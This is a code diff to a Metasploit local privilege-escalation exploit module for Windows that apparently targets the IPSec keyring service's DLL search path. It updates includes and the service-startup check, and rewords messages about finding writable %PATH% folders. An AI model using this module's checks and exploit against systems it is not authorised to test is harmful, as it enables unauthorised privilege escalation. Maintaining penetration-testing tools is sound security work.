diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 672a7158c6..3b331c3554 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -15,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Priv - include Msf::Post::Windows::WindowsServices + include Msf::Post::Windows::Services def initialize(info={}) super( update_info( info, @@ -81,9 +82,17 @@ class Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else - if service_info['Startup'] == 'Disabled' - print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") + vprint_status(service_info) + + case service_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") end if check_search_path @@ -111,11 +120,11 @@ class Metasploit3 < Msf::Exploit::Local end def check_system_path - print_status("Checking SYSTEM PATH folders for write access...") + print_status("Checking %PATH% folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? - print_error("Unable to retrieve SYSTEM PATH from registry.") + print_error("Unable to retrieve %PATH% from registry.") return end @@ -299,5 +308,4 @@ class Metasploit3 < Msf::Exploit::Local end end end - end